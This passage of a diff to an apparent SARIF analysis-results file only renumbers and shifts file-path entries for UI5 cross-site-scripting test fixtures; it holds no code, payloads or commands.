+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 237
             }
@@ -9265,7 +9265,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 238
             }
@@ -9291,7 +9291,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 239
             }
@@ -9317,7 +9317,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 240
             }
@@ -9343,7 +9343,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 241
             }
@@ -9369,7 +9369,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 242
             }
@@ -9395,7 +9395,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 243
             }
@@ -9421,7 +9421,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 244
             }
@@ -9447,7 +9447,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 245
             }
@@ -9473,7 +9473,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 246
             }
@@ -9499,7 +9499,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 247
             }
@@ -9525,7 +9525,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 248
             }
@@ -9551,7 +9551,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 249
             }
@@ -9577,7 +9577,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 250
             }
@@ -9603,7 +9603,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 251
             }
@@ -9629,7 +9629,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 252
             }
@@ -9655,7 +9655,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 253
             }
@@ -9681,7 +9681,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 254
             }
@@ -9707,7 +9707,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 255
             }
@@ -9733,7 +9733,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 256
             }
@@ -9759,7 +9759,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 257
             }
@@ -9785,7 +9785,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 258
             }
@@ -9811,7 +9811,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 259
             }
@@ -9837,7 +9837,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 260
             }
@@ -9863,7 +9863,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 261
             }
@@ -9889,7 +9889,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 262
             }
@@ -9915,7 +9915,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 263
             }
@@ -9941,7 +9941,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 264
             }
@@ -9967,7 +9967,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 265
             }
@@ -9993,7 +9993,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 266
             }
@@ -10019,7 +10019,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 267
             }
@@ -10045,7 +10045,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 268
             }
@@ -10071,7 +10071,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 269
             }
@@ -10097,7 +10097,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 270
             }
@@ -10123,7 +10123,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 271
             }
@@ -10149,7 +10149,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 272
             }
@@ -10175,7 +10175,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 273
             }
@@ -10201,7 +10201,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 274
             }
@@ -10227,7 +10227,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 275
             }
@@ -10253,7 +10253,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 276
             }
@@ -10279,7 +10279,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 277
             }
@@ -10305,7 +10305,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 278
             }
@@ -10331,7 +10331,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 279
             }
@@ -10357,7 +10357,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 280
             }
@@ -10383,7 +10383,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 281
             }
@@ -10409,7 +10409,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 282
             }
@@ -10435,7 +10435,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 283
             }
@@ -10461,7 +10461,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 284
             }
@@ -10487,7 +10487,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 285
             }
@@ -10513,7 +10513,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 286
             }
@@ -10539,7 +10539,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 287
             }
@@ -10565,7 +10565,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 288
             }
@@ -10591,7 +10591,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 289
             }
@@ -10617,7 +10617,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 290
             }
@@ -10643,7 +10643,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 291
             }
@@ -10669,7 +10669,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 292
             }
@@ -10695,7 +10695,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 293
             }
@@ -10721,7 +10721,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 294
             }
@@ -10747,7 +10747,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 295
             }
@@ -10773,7 +10773,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 296
             }
@@ -10799,7 +10799,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 297
             }
@@ -10825,7 +10825,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 298
             }
@@ -10851,7 +10851,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 299
             }
@@ -10877,7 +10877,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 300
             }
@@ -10903,7 +10903,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 301
             }
@@ -10929,7 +10929,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 302
             }
@@ -10955,7 +10955,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 303
             }
@@ -10981,7 +10981,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 304
             }
@@ -11007,7 +11007,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 305
             }
@@ -11033,7 +11033,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 306
             }
@@ -11059,7 +11059,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 307
             }
@@ -11085,7 +11085,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 308
             }
@@ -11111,7 +11111,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 309
             }
@@ -11137,7 +11137,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 310
             }
@@ -11163,7 +11163,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 311
             }
@@ -11189,7 +11189,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 312
             }
@@ -11215,7 +11215,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 313
             }
@@ -11241,7 +11241,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 314
             }
@@ -11267,7 +11267,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 315
             }
@@ -11293,7 +11293,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 316
             }
@@ -11319,7 +11319,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
